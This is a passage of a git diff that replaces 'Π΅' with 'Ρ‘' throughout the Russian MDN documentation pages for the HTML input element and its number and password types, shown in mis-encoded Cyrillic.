<li><code>datetime-local</code>: {{HTMLVersionInline("5")}} Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния для Π²Π²ΠΎΠ΄Π° Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π±Π΅Π· часового пояса.</li>
<li><code>email</code>: {{HTMLVersionInline("5")}} ПолС для рСдактирования адрСса элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹. ΠŸΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ провСряСтся, Ρ‡Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ содСрТит Π»ΠΈΠ±ΠΎ ΠΏΡƒΡΡ‚ΡƒΡŽ строку, Π»ΠΈΠ±ΠΎ ΠΎΠ΄ΠΈΠ½ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹. Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ CSS псСвдоклассам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.</li>
<li><code>file</code>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ». Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>accept</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ‚ΠΈΠΏΡ‹ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹.</li>
- <li><code>hidden</code>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ отобраТаСтся, Π½ΠΎ Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π½Π° сСрвСр.</li>
+ <li><code>hidden</code>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ отобраТаСтся, Π½ΠΎ Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π½Π° сСрвСр.</li>
<li><code>image</code>: Кнопка вставки изобраТСния. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>src</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽΒ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>alt</strong>Β - для опрСдСлСния Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ тСкста. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <strong>height</strong> ΠΈ <strong>width</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ вставки изобраТСния Π² пиксСлях.</li>
<li><code>month</code>: {{HTMLVersionInline("5")}}Β Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния для Π²Π²ΠΎΠ΄Π° мСсяца ΠΈ Π³ΠΎΠ΄Π° Π±Π΅Π· часового пояса.</li>
<li><code>number</code>: {{HTMLVersionInline("5")}}Β Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния Π²Π²ΠΎΠ΄Π° числа(Ρ‚ΠΈΠΏ <strong>float</strong>).</li>
- <li><code>password</code>: ΠžΠ΄Π½ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½ΠΎΠ΅ тСкстовоС ΠΏΠΎΠ»Π΅, Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ скрыто символом "Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°".Β Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <strong>minlength</strong>Β ΠΈΒ <strong>maxlength</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ.
+ <li><code>password</code>: ΠžΠ΄Π½ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½ΠΎΠ΅ тСкстовоС ΠΏΠΎΠ»Π΅, Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ скрыто символом "Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°".Β Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <strong>minlength</strong>Β ΠΈΒ <strong>maxlength</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ.
<div class="blockIndicator note">Π›ΡŽΠ±Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… присутствуСт ваТная информация(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ), Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹Β Ρ‡Π΅Ρ€Π΅Π·Β HTTPS; Π² настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚ Firefox Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ составной ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ прСдупрСТдСния, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΡ‚ΠΈΠ² нСбСзопасных Ρ„ΠΎΡ€ΠΌ для Π²Ρ…ΠΎΠ΄Π° Π² систСму - смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">НСбСзопасныС ΠΏΠ°Ρ€ΠΎΠ»ΠΈ</a>.</div>
</li>
<li><code>radio</code>: Кнопка-ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΡŒ, позволяСт Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· мноТСствСнного Π²Ρ‹Π±ΠΎΡ€Π°.</li>
@@ -63,12 +63,12 @@ translation_of: Web/HTML/Element/input
ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹ CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ нСобходимости..</li>
<li><code>text</code>: ΠžΠ΄Π½ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½ΠΎΠ΅ тСкстовоС ΠΏΠΎΠ»Π΅. ΠŸΠ΅Ρ€Π΅Π½ΠΎΡΡ‹ строк автоматичСски ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ ΠΈΠ· Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ значСния.</li>
<li><code>time</code>: {{HTMLVersionInline("5")}} Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния для Π²Π²ΠΎΠ΄Π° значСния Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π±Π΅Π· часового пояса.</li>
- <li><code>url</code>: {{HTMLVersionInline("5")}} ПолС для рСдактирования URI. Π’Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ ΠΏΡƒΡΡ‚ΡƒΡŽ строку, Π»ΠΈΠ±ΠΎ допустимый Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ URL. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ принято. ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‹ строк, Π»ΠΈΠ΄ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ· Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ значСния. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΊΠ°ΠΊ <strong>pattern</strong> ΠΈΠ»ΠΈ <strong>maxlength</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния. ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹ CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ нСобходимости.</li>
+ <li><code>url</code>: {{HTMLVersionInline("5")}} ПолС для рСдактирования URI. Π’Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ ΠΏΡƒΡΡ‚ΡƒΡŽ строку, Π»ΠΈΠ±ΠΎ допустимый Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ URL. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ принято. ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‹ строк, Π»ΠΈΠ΄ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ· Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ значСния. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΊΠ°ΠΊ <strong>pattern</strong> ΠΈΠ»ΠΈ <strong>maxlength</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния. ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹ CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ нСобходимости.</li>
<li><code>week</code>: {{HTMLVersionInline("5")}} Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния для Π²Π²ΠΎΠ΄Π° Π΄Π°Ρ‚Ρ‹, содСрТащСй число нСдСля-Π³ΠΎΠ΄ ΠΈ Π½ΠΎΠΌΠ΅Ρ€ Π½Π΅Π΄Π΅Π»ΠΈ Π±Π΅Π· часового пояса.</li>
</ul>
</dd>
<dt>{{htmlattrdef("accept")}}</dt>
- <dd>Π’ случаС, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <strong>type</strong> являСтся <code>file</code>, Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ‚ΠΈΠΏΡ‹ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Ρ„Π°ΠΉΠ» игнорируСтся. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ списком ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… спСцификаторов Ρ‚ΠΈΠΏΠΎΠ² содСрТания, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ запятыми:</dd>
+ <dd>Π’ случаС, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <strong>type</strong> являСтся <code>file</code>, Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ‚ΠΈΠΏΡ‹ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Ρ„Π°ΠΉΠ» игнорируСтся. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ списком ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… спСцификаторов Ρ‚ΠΈΠΏΠΎΠ² содСрТания, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ запятыми:</dd>
<dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
<dd>ΠžΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹ΠΉ символ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ фокус Π½Π° элСмСнт управлСния.</dd>
<dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
@@ -143,7 +143,7 @@ translation_of: Web/HTML/Element/input
</ul>
</dd>
<dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt>
- <dd>Π’ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Β <code>id</code> элСмСнта {{HTMLElement("datalist")}}, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится список ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для заполнСния. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ символами. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ игнорируСтся, ΠΊΠΎΠ³Π΄Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>type</strong> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ значСния <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, ΠΈΠ»ΠΈΒ <strong>type</strong> Π² качСствС ΠΊΠ½ΠΎΠΏΠΊΠΈ.</dd>
+ <dd>Π’ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Β <code>id</code> элСмСнта {{HTMLElement("datalist")}}, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится список ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для заполнСния. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ символами. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ игнорируСтся, ΠΊΠΎΠ³Π΄Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>type</strong> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ значСния <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, ΠΈΠ»ΠΈΒ <strong>type</strong> Π² качСствС ΠΊΠ½ΠΎΠΏΠΊΠΈ.</dd>
<dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt>
<dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd>
<dt>{{htmlattrdef("maxlength")}}</dt>
diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html
index 0ee9046649..b9f77cd132 100644
--- a/files/ru/web/html/element/input/number/index.html
+++ b/files/ru/web/html/element/input/number/index.html
@@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/input/number
<h2 id="Value">Value</h2>
-<p>{{jsxref("Number")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ числа. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, вставив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("value", "input")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>{{jsxref("Number")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ числа. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, вставив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("value", "input")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;input id="number" type="number" value="42"&gt;</pre>
diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html
index e745967864..b76c628f81 100644
--- a/files/ru/web/html/element/input/password/index.html
+++ b/files/ru/web/html/element/input/password/index.html
@@ -11,9 +11,9 @@ translation_of: Web/HTML/Element/input/password
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты Ρ‚ΠΈΠΏΠ°Β <strong><code>"password"</code></strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ бСзопасного Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ прСдставлСн ΠΊΠ°ΠΊ однострочный тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ тСкст Π·Π°Ρ‚Π΅Π½Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ нСльзя Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡƒΡ‚Π΅ΠΌ Π·Π°ΠΌΠ΅Π½Ρ‹ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ символа Π΄Ρ€ΡƒΠ³ΠΈΠΌ символом, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ° ("*") ΠΈΠ»ΠΈ Ρ‚ΠΎΡ‡ΠΊΠ° ("β€’"). Π­Ρ‚ΠΎΡ‚ символ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ {{Glossary("user agent")}} ΠΈ {{Glossary("OS")}}.</span></p>
+<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты Ρ‚ΠΈΠΏΠ°Β <strong><code>"password"</code></strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ бСзопасного Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ прСдставлСн ΠΊΠ°ΠΊ однострочный тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ тСкст Π·Π°Ρ‚Π΅Π½Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ нСльзя Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡƒΡ‚Ρ‘ΠΌ Π·Π°ΠΌΠ΅Π½Ρ‹ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ символа Π΄Ρ€ΡƒΠ³ΠΈΠΌ символом, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ° ("*") ΠΈΠ»ΠΈ Ρ‚ΠΎΡ‡ΠΊΠ° ("β€’"). Π­Ρ‚ΠΎΡ‚ символ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ {{Glossary("user agent")}} ΠΈ {{Glossary("OS")}}.</span></p>
